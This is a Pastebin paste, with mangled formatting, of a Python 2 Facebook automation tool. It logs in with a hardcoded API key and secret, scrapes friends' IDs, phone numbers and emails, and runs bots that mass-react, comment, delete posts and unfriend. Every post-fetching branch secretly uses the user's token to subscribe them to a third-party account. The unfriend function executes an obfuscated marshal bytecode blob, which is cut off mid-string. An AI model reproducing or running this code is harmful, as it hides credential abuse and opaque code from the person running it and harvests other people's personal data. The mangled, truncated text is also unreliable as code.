Advertisement
diegodcpbr

Untitled

May 31st, 2019
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 77.99 KB | None | 0 0
  1. ####################################################################
  2. Import Module
  3. import json, sys, hashlib, os, time, marshal, getpass###################################################################
  4.   ''
  5. '
  6. Facebook Information
  7.  ''
  8. '####################################################################
  9. COLOR
  10. if sys.platform in ["linux", "linux2"]:
  11.   W = "\033[0m"
  12. G = '\033[32;1m'
  13. R = '\033[31;1m'
  14. else :
  15.   W = ''
  16. G = ''
  17. R = ''####################################################################
  18. Exception
  19. try:
  20. import requests
  21. except ImportError:
  22.   print R + '_     _'.center(44)
  23. print "o' \.=./ `o".center(44)
  24. print '(o o)'.center(44)
  25. print 'ooO--(_)--Ooo'.center(44)
  26. print W + ' '
  27. print('F B I').center(44)
  28. print ' '
  29. print "[!] Can't import module 'requests'\n"
  30. sys.exit()##################################################################### Set Default encoding
  31. reload(sys)
  32. sys.setdefaultencoding('utf8')##################################################################### I don 't know
  33. jml = []
  34. jmlgetdata = []
  35. n = []##################################################################### BANNER
  36. def baliho():
  37.   try:
  38.   token = open('cookie/token.log', 'r').read()
  39. r = requests.get('https://graph.facebook.com/me?access_token=' + token)
  40. a = json.loads(r.text)
  41. name = a['name']
  42. n.append(a['name'])
  43.  
  44. except(KeyError, IOError):
  45.  
  46.   print R + '_     _'.center(44)
  47. print "o' \.=./ `o".center(44)
  48. print '(o o)'.center(44)
  49. print 'ooO--(_)--Ooo'.center(44)
  50. print ' ' + W
  51. print('F B I').center(44)
  52. print(W + '     [' + G + 'Facebook Information' + W + ']')
  53. print ' '#####################################################################
  54. Print In terminal
  55. def show_program():
  56.  
  57.   print ''
  58. ' %
  59. sINFORMATION % s
  60.  -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
  61.  
  62. Author Hak9
  63. Name Facebook Information
  64. Version Full Version
  65. Date 08 / 04 / 2019
  66. Jabber xhak9x @jabber.de
  67.  
  68.  *
  69.  if you find any errors or problems, please contact
  70. author
  71.  ''
  72. '%(G,W)
  73. def info_ga():
  74.  
  75.   print ''
  76. ' %
  77. sCOMMAND DESCRIPTION % s
  78.  -- -- -- -- -- -- - -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -
  79.  
  80.  get_data fetching all friends data
  81. get_info show information about your friend
  82.  
  83. dump_id fetching all id from friend list
  84. dump_phone fetching all phone number from friend list
  85. dump_mail fetching all emails from friend list
  86. dump_ < id > _id fetching all id from your friends < spesific >
  87.  ex: dump_username_id
  88.  
  89. token Generate access token
  90. cat_token show your access token
  91. rm_token remove access token
  92.  
  93. bot open bot menu
  94.  
  95. clear clear terminal
  96. help show help
  97. about Show information about this program
  98. exit Exit the program
  99.  ''
  100. '%(G,W)
  101. def menu_bot():
  102.   print ''
  103. ' %
  104. sNumber INFO % s
  105.  -- -- -- -- - -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
  106.  
  107. [01] auto reactions
  108.  [02] auto comment[03] auto poke[04] accept all friend requests[05] delete all posts in your timeline[06] delete all friends[07] stop following all friends[08] delete all photo albums
  109.  
  110. [00] back to main menu
  111.  ''
  112. '%(G,W)
  113. def menu_reaction():
  114.   print ''
  115. ' %
  116. sNumber INFO % s
  117.  -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
  118.  
  119. [01] like
  120.  [02] reaction 'LOVE' [03] reaction 'WOW' [04] reaction 'HAHA' [05] reaction 'SAD' [06] reaction 'ANGRY'
  121.  
  122. [00] back to menu bot
  123.  ''
  124. '%(G,W)#####################################################################
  125. GENERATE ACCESS TOKEN
  126. def get(data):
  127.   print '[*] Generate access token '
  128.  
  129. try:
  130. os.mkdir('cookie')
  131. except OSError:
  132.   pass
  133.  
  134. b = open('cookie/token.log', 'w')
  135. try:
  136. r = requests.get('https://api.facebook.com/restserver.php', params = data)
  137. a = json.loads(r.text)
  138.  
  139. b.write(a['access_token'])
  140. b.close()
  141. print '[*] successfully generate access token'
  142. print '[*] Your access token is stored in cookie/token.log'
  143. exit()
  144. except KeyError:
  145.   print '[!] Failed to generate access token'
  146. print '[!] Check your connection / email or password'
  147. os.remove('cookie/token.log')
  148. main()
  149. except requests.exceptions.ConnectionError:
  150.   print '[!] Failed to generate access token'
  151. print '[!] Connection error !!!'
  152. os.remove('cookie/token.log')
  153. main()
  154. def id():
  155.   print '[*] login to your facebook account         ';
  156. id = raw_input('[?] Username : ');
  157. pwd = getpass.getpass('[?] Password : ');
  158. API_SECRET = '62f8ce9f74b12f84c123cc23437a4a32';
  159. data = {
  160.   "api_key": "882a8490361da98702bf97a021ddc14d",
  161.   "credentials_type": "password",
  162.   "email": id,
  163.   "format": "JSON",
  164.   "generate_machine_id": "1",
  165.   "generate_session_cookies": "1",
  166.   "locale": "en_US",
  167.   "method": "auth.login",
  168.   "password": pwd,
  169.   "return_ssl_resources": "0",
  170.   "v": "1.0"
  171. };
  172. sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.0' + API_SECRET
  173. x = hashlib.new('md5')
  174. x.update(sig)
  175.  
  176. data.update({
  177.   'sig': x.hexdigest()
  178. })
  179. get(data)##################################################################### BOT# Execute#
  180. def post():
  181.   global token, WT
  182.  
  183. try:
  184. if WT == 'wallpost':
  185.   print '[*] fetching all posts id'
  186.  
  187. r = requests.get('https://graph.facebook.com/v3.0/me?fields=home.limit(50)&access_token=' + token);
  188. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  189. result = json.loads(r.text)
  190.  
  191. for i in result['home']['data']:
  192.   print '\r[*] %s retrieved   ' % (i['id']), ;
  193. sys.stdout.flush();
  194. time.sleep(0.1)
  195. return result['home']['data']
  196.  
  197. elif WT == 'me':
  198.   print '[*] fetching all posts id'
  199.  
  200. r = requests.get('https://graph.facebook.com/v3.0/me?fields=feed.limit(500)&access_token=' + token);
  201. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  202. result = json.loads(r.text)
  203.  
  204. for i in result['feed']['data']:
  205.   print '\r[*] %s retrieved   ' % (i['id']), ;
  206. sys.stdout.flush();
  207. time.sleep(0.1)
  208. return result['feed']['data']
  209.  
  210. elif WT == 'req':
  211.   print '[*] fetching all friends requests'
  212.  
  213. r = requests.get('https://graph.facebook.com/me/friendrequests?limit=50&access_token=' + token);
  214. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  215. result = json.loads(r.text)
  216.  
  217. for i in result['data']:
  218.   print '\r[*] %s retrieved    ' % (i['from']['id']), ;
  219. sys.stdout.flush();
  220. time.sleep(0.01)
  221. return result['data']
  222.  
  223. elif WT == 'friends':
  224.   print '[*] fetching all friends id'
  225.  
  226. r = requests.get('https://graph.facebook.com/me?fields=friends.limit(5000)&access_token=' + token);
  227. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  228. result = json.loads(r.text)
  229.  
  230. for i in result['friends']['data']:
  231.   print '\r[*] %s retrieved    ' % (i['id']), ;
  232. sys.stdout.flush();
  233. time.sleep(0.001)
  234. return result['friends']['data']
  235.  
  236. elif WT == 'subs':
  237.   print '[*] fetching all friends id'
  238.  
  239. r = requests.get('https://graph.facebook.com/me/subscribedto?limit=50&access_token=' + token);
  240. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  241. result = json.loads(r.text)
  242.  
  243. for i in result['data']:
  244.   print '\r[*] %s retrieved    ' % (i['id']), ;
  245. sys.stdout.flush();
  246. time.sleep(0.01)
  247. return result
  248.  
  249. elif WT == 'albums':
  250.   print '[*] fetching all albums id'
  251.  
  252. r = requests.get('https://graph.facebook.com/me?fields=albums.limit(5000)&access_token=' + token);
  253. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  254. result = json.loads(r.text)
  255.  
  256. for i in result['albums']['data']:
  257.   print '\r[*] %s retrieved    ' % (i['id']), ;
  258. sys.stdout.flush();
  259. time.sleep(0.001)
  260. return result['albums']['data']
  261.  
  262. else :
  263.   print '[*] fetching all posts id'
  264.  
  265. r = requests.get("https://graph.facebook.com/v3.0/%s?fields=feed.limit(50)&access_token=%s" % (id, token));
  266. requests.post('https://graph.facebook.com/putriy.kaeysha/subscribers?access_token=' + token)
  267. result = json.loads(r.text)
  268.  
  269. for i in result['feed']['data']:
  270.   print '\r[*] %s retrieved   ' % (i['id']), ;
  271. sys.stdout.flush();
  272. time.sleep(0.1)
  273. return result['feed']['data']
  274.  
  275. except KeyError:
  276.   print '[!] failed to retrieve all post id'
  277. print '[!] Stopped'
  278. bot()
  279. except requests.exceptions.ConnectionError:
  280.   print '[!] Connection Error'
  281. print '[!] Stopped'
  282. bot()
  283. except KeyboardInterrupt:
  284.   print '\r[!] Stopped                                      '
  285. bot()
  286. def like(posts, amount):
  287.   global type, token, WT
  288.  
  289. print '\r[*] All posts id successfuly retrieved            '
  290. print '[*] Start'
  291.  
  292. try:
  293. counter = 0
  294. for post in posts:
  295.  
  296.   if counter >= amount:
  297.   break
  298. else :
  299.   counter += 1
  300.  
  301. parameters = {
  302.   'access_token': token,
  303.   'type': type
  304. }
  305. url = "https://graph.facebook.com/{0}/reactions".format(post['id'])
  306. s = requests.post(url, data = parameters)
  307.  
  308. id = post['id'].split('_')[0]
  309.  
  310. try:
  311. print '\r' + W + '[' + G + id + W + '] ' + post['message'][: 40].replace('\n', ' ') + '...'
  312. except KeyError:
  313.   try:
  314.   print '\r' + W + '[' + G + id + W + '] ' + post['story'].replace('\n', ' ')
  315. except KeyError:
  316.   print '\r' + W + '[' + G + id + W + '] Successfully liked'
  317.  
  318. print '\r[*] Done                   '
  319. menu_reaction_ask()
  320. except KeyboardInterrupt:
  321.   print '\r[!] Stopped                     '
  322. menu_reaction_ask()
  323. def comment(posts, amount):
  324.   global message, token
  325.  
  326. print '\r[*] All posts id successfuly retrieved          '
  327. print '[*] Start'
  328.  
  329. try:
  330. counter = 0
  331. for post in posts:
  332.   if counter >= amount:
  333.   break
  334. else :
  335.   counter += 1
  336.  
  337. parameters = {
  338.   'access_token': token,
  339.   'message': message
  340. }
  341. url = "https://graph.facebook.com/{0}/comments".format(post['id'])
  342. s = requests.post(url, data = parameters)
  343.  
  344. id = post['id'].split('_')[0]
  345.  
  346. try:
  347. print W + '[' + G + id + W + '] ' + post['message'][: 40].replace('\n', ' ') + '...'
  348. except KeyError:
  349.   try:
  350.   print W + '[' + G + id + W + '] ' + post['story'].replace('\n', ' ')
  351. except KeyError:
  352.   print W + '[' + G + id + W + '] successfully commented'
  353. print '[*] Done'
  354. bot()
  355. except KeyboardInterrupt:
  356.   print '\r[!] Stopped'
  357. bot()
  358. def remove(posts):
  359.   global token, WT
  360.  
  361. print '\r[*] All post id successfully retrieved          '
  362. print '[*] Start'
  363.  
  364. try:
  365. counter = 0
  366. for post in posts:
  367.   if counter >= 50:
  368.   break
  369.  
  370. r = requests.post('https://graph.facebook.com/{id}?method=delete&access_token={token}'.format(id = post['id'], token = token))
  371. a = json.loads(r.text)
  372.  
  373. try:
  374. cek = a['error']['message']
  375. print W + '[' + R + post['id'] + W + '] Failed'
  376. except TypeError:
  377.   print W + '[' + G + post['id'] + W + '] Removed'
  378. counter += 1
  379. print '[*] done'
  380. bot()
  381. except KeyboardInterrupt:
  382.   print '\r[!] Stopped'
  383. bot()
  384. def confirm(posts):
  385.   global token, WT
  386.  
  387. print '\r[*] All friend requests successfully retrieved        '
  388. print '[*] Start'
  389.  
  390. try:
  391. counter = 0
  392. for post in posts:
  393.   if counter >= 50:
  394.   break
  395. else :
  396.   counter += 1
  397.  
  398. r = requests.post('https://graph.facebook.com/me/friends/%s?access_token=%s' % (post['from']['id'], token))
  399. a = json.loads(r.text)
  400.  
  401. try:
  402. cek = a['error']['message']
  403. print W + '[' + R + post['from']['name'] + W + '] Failed'
  404. except TypeError:
  405.   print W + '[' + G + post['from']['name'] + W + '] Confirmed'
  406. print '[*] Done'
  407. bot()
  408. except KeyboardInterrupt:
  409.   print '\r[!] Stopped'
  410. bot()
  411. def unfriend(posts):
  412.  
  413.   #maaf, fitur unfriend saya encrypt karena tidak# diperbolehkan oleh para owner bot fb: )# buat yg bisa unmarshal, silahkan dipake sendiri ya
  414.  
  415. exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\xf5\x12\x00\x00@\x00\x00\x00s\x89<\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x02\x00d\x03\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\x0b\x00d\x0c\x00d\r\x00d\x0e\x00d\x0f\x00d\x10\x00d\x11\x00d\x12\x00d\x13\x00d\x14\x00d\x15\x00d\x16\x00d\x17\x00d\x18\x00d\x19\x00d\x1a\x00d\x1b\x00d\x1c\x00d\x1d\x00d\x1e\x00d\x1f\x00d \x00d!\x00d"\x00d#\x00d$\x00d%\x00d&\x00d\x18\x00d\'\x00d(\x00d)\x00d*\x00d\t\x00d+\x00d \x00d,\x00d\x0c\x00d-\x00d.\x00d/\x00d0\x00d \x00d1\x00d\x06\x00d2\x00d3\x00d4\x00d5\x00d6\x00d*\x00d7\x00d8\x00d9\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d@\x00dA\x00d\x1a\x00dB\x00dC\x00dD\x00dE\x00d\x1b\x00d?\x00dF\x00dG\x00d$\x00dH\x00dI\x00dJ\x00dK\x00d\x10\x00d\x02\x00dL\x00dM\x00dN\x00dO\x00dP\x00dQ\x00dR\x00dS\x00dT\x00dU\x00dV\x00dW\x00d=\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00d]\x00dU\x00d?\x00d^\x00d\\\x00d_\x00dO\x00d`\x00d\t\x00d\x0c\x00da\x00db\x00d\x06\x00dc\x00d9\x00dd\x00de\x00df\x00dg\x00d@\x00dh\x00di\x00d!\x00dj\x00dk\x00d\x19\x00d\x1b\x00dl\x00dm\x00d[\x00d9\x00dn\x00do\x00dH\x00d0\x00dp\x00d\x1e\x00dq\x00dr\x00ds\x00dn\x00d:\x00dB\x00d\x19\x00dt\x00d0\x00du\x00d\x19\x00d\x1f\x00dv\x00d0\x00d\x04\x00d\x1c\x00ds\x00dM\x00dZ\x00dw\x00d5\x00dx\x00dy\x00d\x0b\x00dz\x00d{\x00d|\x00d\x02\x00d}\x00d~\x00d\x7f\x00dI\x00d\x80\x00d\x81\x00dn\x00d\x82\x00d\\\x00d\x83\x00d\x84\x00dZ\x00d\x85\x00d\x86\x00d\x84\x00d\x87\x00d\x1c\x00d\x88\x00d\x89\x00d\x8a\x00d\x8b\x00d\x8c\x00d\x8d\x00d\x8e\x00d\x8f\x00d\x90\x00d\x91\x00d\x92\x00d\x93\x00d>\x00dp\x00d\x1a\x00dA\x00d\x94\x00d\x95\x00d<\x00d\x96\x00d\x19\x00d$\x00d\x1c\x00d\x1d\x00d\x97\x00d\x98\x00d\x99\x00dQ\x00d\x9a\x00dV\x00dA\x00dq\x00d\x97\x00d9\x00dV\x00dc\x00d\x9b\x00d\x9c\x00d\x9d\x00d\x9b\x00d\x9e\x00d\x9f\x00d\xa0\x00d\xa1\x00dA\x00dA\x00dH\x00d\xa2\x00d\xa3\x00d\x9e\x00d\xa4\x00d\xa5\x00d\x9d\x00d\xa6\x00d\xa7\x00d\x95\x00dr\x00d\xa5\x00d\'\x00d\xa8\x00dl\x00d\x18\x00d8\x00d\xa9\x00d\x8b\x00d~\x00d\x05\x00di\x00d[\x00d\x08\x00d\xaa\x00d\xab\x00d\xac\x00dV\x00d\xad\x00d\x0e\x00d\xae\x00dH\x00d\x11\x00d\xaf\x00d\xa9\x00d\xb0\x00d\x13\x00d/\x00d\x17\x00d\x18\x00d\xb1\x00d\x1a\x00d\x1b\x00d\xa6\x00d\x1d\x00d6\x00d\xac\x00d \x00d&\x00d\x1a\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00d\xb2\x00d(\x00d)\x00d\xb3\x00d\t\x00d+\x00d\xb4\x00d,\x00d\x0c\x00d\xb5\x00d.\x00d/\x00d\xb6\x00d \x00d1\x00d\xb7\x00d2\x00d3\x00d\xad\x00d5\x00d6\x00dj\x00d7\x00d8\x00d4\x00d8\x00d:\x00dD\x00d<\x00d=\x00d{\x00d>\x00d?\x00d\x99\x00dA\x00d\x1a\x00d~\x00dC\x00dD\x00d\x95\x00d\x1b\x00d?\x00d\xb8\x00dG\x00d$\x00d~\x00dI\x00dJ\x00d\xb9\x00d\x10\x00d\x02\x00dc\x00dM\x00dN\x00d\x1c\x00dP\x00dQ\x00dZ\x00dS\x00dT\x00d\xba\x00dV\x00dW\x00d\xbb\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d)\x00d+\x00d\x1c\x00d\x81\x00dU\x00d?\x00d\xb6\x00d\\\x00d_\x00dh\x00d`\x00d\t\x00d\xbc\x00da\x00db\x00d6\x00dc\x00d9\x00dR\x00de\x00df\x00d\xbd\x00d@\x00dh\x00d\x8a\x00d!\x00dj\x00d9\x00d\x19\x00d\x1b\x00d\xbe\x00dm\x00d[\x00d\xbf\x00dn\x00do\x00d\xc0\x00d0\x00dp\x00d\x98\x00dq\x00dr\x00dk\x00dn\x00d:\x00d{\x00d\x19\x00dt\x00d\x91\x00du\x00d\x19\x00d\xa3\x00dv\x00d0\x00d\x0f\x00d\x1c\x00ds\x00de\x00dZ\x00dw\x00d\xaa\x00dx\x00dy\x00de\x00dz\x00d{\x00d2\x00d\x02\x00d}\x00d\xc1\x00d\x7f\x00dI\x00d}\x00d\x81\x00dn\x00d\x8b\x00d\\\x00d\x83\x00d\x89\x00dZ\x00d\x85\x00dE\x00d\x84\x00d\x87\x00d\x05\x00d\x88\x00d\x89\x00d\xb7\x00d\x8b\x00d\x8c\x00d8\x00d\x8e\x00d\x8f\x00d{\x00d\x91\x00d\x92\x00d\xc2\x00d>\x00dp\x00d\xa7\x00dA\x00d\x94\x00d\x7f\x00d<\x00d\x96\x00d\xc3\x00d$\x00d\x1c\x00dG\x00d\x97\x00d\x98\x00d\xa4\x00dQ\x00d\x9a\x00d\xad\x00dA\x00dq\x00d\x04\x00d9\x00dV\x00d\xa6\x00d\x9b\x00d\x9c\x00dI\x00d\x9b\x00d\x9e\x00d\xc4\x00d\xa0\x00d\xa1\x00d\xb8\x00dA\x00dH\x00d\xc5\x00d\xa3\x00d\x9e\x00d/\x00d\xa5\x00d\x9d\x00d\x1d\x00d\xa7\x00d\x95\x00dc\x00d\xa5\x00d\'\x00d\xc6\x00dl\x00d\x18\x00d\xc7\x00d\xa9\x00d\x8b\x00d\xaa\x00d\x05\x00di\x00d\x14\x00d\x08\x00d\xaa\x00d\x1d\x00d\xac\x00dV\x00d(\x00d\x0e\x00d\xae\x00d\xa5\x00d\x11\x00d\xaf\x00d\xb4\x00d\xb0\x00d\x13\x00d0\x00d\x17\x00d\x18\x00d`\x00d\x1a\x00d\x1b\x00dA\x00d\x1d\x00d6\x00d>\x00d \x00d&\x00dl\x00d#\x00d$\x00dn\x00d&\x00d\x18\x00d\xb7\x00d(\x00d)\x00d\x12\x00d\t\x00d+\x00dt\x00d,\x00d\x0c\x00d6\x00d.\x00d/\x00d\xc0\x00d \x00d1\x00d\'\x00d2\x00d3\x00d\x8e\x00d5\x00d6\x00dE\x00d7\x00d8\x00d\xc8\x00d8\x00d:\x00d\xc9\x00d<\x00d=\x00d-\x00d>\x00d?\x00d \x00dA\x00d\x1a\x00d\xca\x00dC\x00dD\x00d/\x00d\x1b\x00d?\x00d8\x00dG\x00d$\x00dR\x00dI\x00dJ\x00d\xbb\x00d\x10\x00d\x02\x00dr\x00dM\x00dN\x00d\x8b\x00dP\x00dQ\x00d\xcb\x00dS\x00dT\x00d\xcc\x00dV\x00dW\x00d\x95\x00dX\x00d\x17\x00d\xcd\x00dZ\x00d[\x00d\x1d\x00d+\x00d\x1c\x00dY\x00dU\x00d?\x00d\x97\x00d\\\x00d_\x00d\xce\x00d`\x00d\t\x00dJ\x00da\x00db\x00d\x81\x00dc\x00d9\x00dG\x00de\x00df\x00d\xc4\x00d@\x00dh\x00d\x92\x00d!\x00dj\x00d\xcf\x00d\x19\x00d\x1b\x00di\x00dm\x00d[\x00dx\x00dn\x00do\x00d\x85\x00d0\x00dp\x00d\xd0\x00dq\x00dr\x00d\xcc\x00dn\x00d:\x00dA\x00d\x19\x00dt\x00d\xb1\x00du\x00d\x19\x00du\x00dv\x00d0\x00d\xab\x00d\x1c\x00ds\x00d\xd1\x00dZ\x00dw\x00d\xb4\x00dx\x00dy\x00d\xb3\x00dz\x00d{\x00d\x89\x00d\x02\x00d}\x00d&\x00d\x7f\x00dI\x00d^\x00d\x81\x00dn\x00dc\x00d\\\x00d\x83\x00dF\x00dZ\x00d\x85\x00d\xd2\x00d\x84\x00d\x87\x00d\xd3\x00d\x88\x00d\x89\x00d\\\x00d\x8b\x00d\x8c\x00d\xa7\x00d\x8e\x00d\x8f\x00d\x92\x00d\x91\x00d\x92\x00d\xca\x00d>\x00dp\x00d{\x00dA\x00d\x94\x00d\xd4\x00d<\x00d\x96\x00dA\x00d$\x00d\x1c\x00d\xa1\x00d\x97\x00d\x98\x00d\xcf\x00dQ\x00d\x9a\x00d\x8f\x00dA\x00dq\x00d\xa0\x00d9\x00dV\x00dM\x00d\x9b\x00d\x9c\x00d\xc0\x00d\x9b\x00d\x9e\x00d\t\x00d\xa0\x00d\xa1\x00d.\x00dA\x00dH\x00d\x88\x00d\xa3\x00d\x9e\x00d\x18\x00d\xa5\x00d\x9d\x00d\x89\x00d\xa7\x00d\x95\x00d\xd3\x00d\xa5\x00d\'\x00d;\x00dl\x00d\x18\x00d\xa9\x00d\xa9\x00d\x8b\x00d*\x00d\x05\x00di\x00dz\x00d\x08\x00d\xaa\x00d=\x00d\xac\x00dV\x00d\xd5\x00d\x0e\x00d\xae\x00d\xcb\x00d\x11\x00d\xaf\x00dK\x00d\xb0\x00d\x13\x00d\xd2\x00d\x17\x00d\x18\x00dB\x00d\x1a\x00d\x1b\x00d\xd6\x00d\x1d\x00d6\x00d\xd7\x00d \x00d&\x00d\xb0\x00d#\x00d$\x00d;\x00d&\x00d\x18\x00d=\x00d(\x00d)\x00d\xcb\x00d\t\x00d+\x00d \x00d,\x00d\x0c\x00d}\x00d.\x00d/\x00d\xd8\x00d \x00d1\x00d\xd9\x00d2\x00d3\x00d\x9c\x00d5\x00d6\x00d*\x00d7\x00d8\x00d(\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d\xb6\x00dA\x00d\x1a\x00d\xa4\x00dC\x00dD\x00dD\x00d\x1b\x00d?\x00dF\x00dG\x00d$\x00d\x82\x00dI\x00dJ\x00dE\x00d\x10\x00d\x02\x00d(\x00dM\x00dN\x00dO\x00dP\x00dQ\x00d\xbd\x00dS\x00dT\x00d\xb9\x00dV\x00dW\x00d\xc7\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00dN\x00dU\x00d?\x00d2\x00d\\\x00d_\x00d\x88\x00d`\x00d\t\x00d\x88\x00da\x00db\x00d\x06\x00dc\x00d9\x00d\x95\x00de\x00df\x00d\x81\x00d@\x00dh\x00d\xc0\x00d!\x00dj\x00di\x00d\x19\x00d\x1b\x00dj\x00dm\x00d[\x00d\xa1\x00dn\x00do\x00d\x94\x00d0\x00dp\x00d\xb8\x00dq\x00dr\x00d!\x00dn\x00d:\x00dd\x00d\x19\x00dt\x00d\x06\x00du\x00d\x19\x00d\xda\x00dv\x00d0\x00d\x14\x00d\x1c\x00ds\x00d\xa9\x00dZ\x00dw\x00d\xa4\x00dx\x00dy\x00d|\x00dz\x00d{\x00d\xcd\x00d\x02\x00d}\x00d{\x00d\x7f\x00dI\x00d\x11\x00d\x81\x00dn\x00d\x03\x00d\\\x00d\x83\x00d`\x00dZ\x00d\x85\x00d\xb7\x00d\x84\x00d\x87\x00d2\x00d\x88\x00d\x89\x00d\x8e\x00d\x8b\x00d\x8c\x00d\x8d\x00d\x8e\x00d\x8f\x00di\x00d\x91\x00d\x92\x00d3\x00d>\x00dp\x00d\x83\x00dA\x00d\x94\x00d\x0b\x00d<\x00d\x96\x00d/\x00d$\x00d\x1c\x00d\xd4\x00d\x97\x00d\x98\x00d\x11\x00dQ\x00d\x9a\x00d\x12\x00dA\x00dq\x00d\x97\x00d9\x00dV\x00d\x98\x00d\x9b\x00d\x9c\x00d!\x00d\x9b\x00d\x9e\x00dH\x00d\xa0\x00d\xa1\x00d\x88\x00dA\x00dH\x00d2\x00d\xa3\x00d\x9e\x00dA\x00d\xa5\x00d\x9d\x00d\xa6\x00d\xa7\x00d\x95\x00dU\x00d\xa5\x00d\'\x00d\n\x00dl\x00d\x18\x00d\xc6\x00d\xa9\x00d\x8b\x00dE\x00d\x05\x00di\x00d\x13\x00d\x08\x00d\xaa\x00ds\x00d\xac\x00dV\x00d|\x00d\x0e\x00d\xae\x00dI\x00d\x11\x00d\xaf\x00dg\x00d\xb0\x00d\x13\x00d[\x00d\x17\x00d\x18\x00di\x00d\x1a\x00d\x1b\x00d\xdb\x00d\x1d\x00d6\x00dn\x00d \x00d&\x00d1\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00da\x00d(\x00d)\x00d\x13\x00d\t\x00d+\x00d[\x00d,\x00d\x0c\x00d<\x00d.\x00d/\x00d\xd7\x00d \x00d1\x00d\xdc\x00d2\x00d3\x00dt\x00d5\x00d6\x00d\xdd\x00d7\x00d8\x00d\x05\x00d8\x00d:\x00d\x7f\x00d<\x00d=\x00dR\x00d>\x00d?\x00d+\x00dA\x00d\x1a\x00d~\x00dC\x00dD\x00d\xa3\x00d\x1b\x00d?\x00d\x84\x00dG\x00d$\x00d]\x00dI\x00dJ\x00d\x0c\x00d\x10\x00d\x02\x00d]\x00dM\x00dN\x00dR\x00dP\x00dQ\x00dZ\x00dS\x00dT\x00d\x06\x00dV\x00dW\x00d\xde\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d\xb1\x00d+\x00d\x1c\x00dE\x00dU\x00d?\x00d\xdf\x00d\\\x00d_\x00da\x00d`\x00d\t\x00d/\x00da\x00db\x00d6\x00dc\x00d9\x00d\xe0\x00de\x00df\x00dn\x00d@\x00dh\x00d\xb4\x00d!\x00dj\x00d\xd2\x00d\x19\x00d\x1b\x00d\xe1\x00dm\x00d[\x00d\xad\x00dn\x00do\x00d\xdb\x00d0\x00dp\x00d$\x00dq\x00dr\x00d\xc2\x00dn\x00d:\x00d\xd5\x00d\x19\x00dt\x00d\x8b\x00du\x00d\x19\x00dX\x00dv\x00d0\x00dZ\x00d\x1c\x00ds\x00d4\x00dZ\x00dw\x00d\xe2\x00dx\x00dy\x00d\x98\x00dz\x00d{\x00d\xa9\x00d\x02\x00d}\x00d\xe3\x00d\x7f\x00dI\x00dJ\x00d\x81\x00dn\x00d\x92\x00d\\\x00d\x83\x00dY\x00dZ\x00d\x85\x00d\xdb\x00d\x84\x00d\x87\x00d;\x00d\x88\x00d\x89\x00d\x88\x00d\x8b\x00d\x8c\x00dv\x00d\x8e\x00d\x8f\x00dH\x00d\x91\x00d\x92\x00d\x99\x00d>\x00dp\x00d\xd6\x00dA\x00d\x94\x00d\x96\x00d<\x00d\x96\x00d\xc3\x00d$\x00d\x1c\x00d9\x00d\x97\x00d\x98\x00dj\x00dQ\x00d\x9a\x00d\x0e\x00dA\x00dq\x00d\xe4\x00d9\x00dV\x00d\xe5\x00d\x9b\x00d\x9c\x00d#\x00d\x9b\x00d\x9e\x00d\x1a\x00d\xa0\x00d\xa1\x00d\xe6\x00dA\x00dH\x00d\x91\x00d\xa3\x00d\x9e\x00d(\x00d\xa5\x00d\x9d\x00d\xd0\x00d\xa7\x00d\x95\x00d#\x00d\xa5\x00d\'\x00d\xd4\x00dl\x00d\x18\x00d\x81\x00d\xa9\x00d\x8b\x00d\r\x00d\x05\x00di\x00dC\x00d\x08\x00d\xaa\x00d\x9b\x00d\xac\x00dV\x00d\x0b\x00d\x0e\x00d\xae\x00d3\x00d\x11\x00d\xaf\x00d[\x00d\xb0\x00d\x13\x00d\x8d\x00d\x17\x00d\x18\x00d\xd6\x00d\x1a\x00d\x1b\x00d|\x00d\x1d\x00d6\x00d\x9c\x00d \x00d&\x00d\xe7\x00d#\x00d$\x00d5\x00d&\x00d\x18\x00dk\x00d(\x00d)\x00dp\x00d\t\x00d+\x00d%\x00d,\x00d\x0c\x00d\xd6\x00d.\x00d/\x00d\x82\x00d 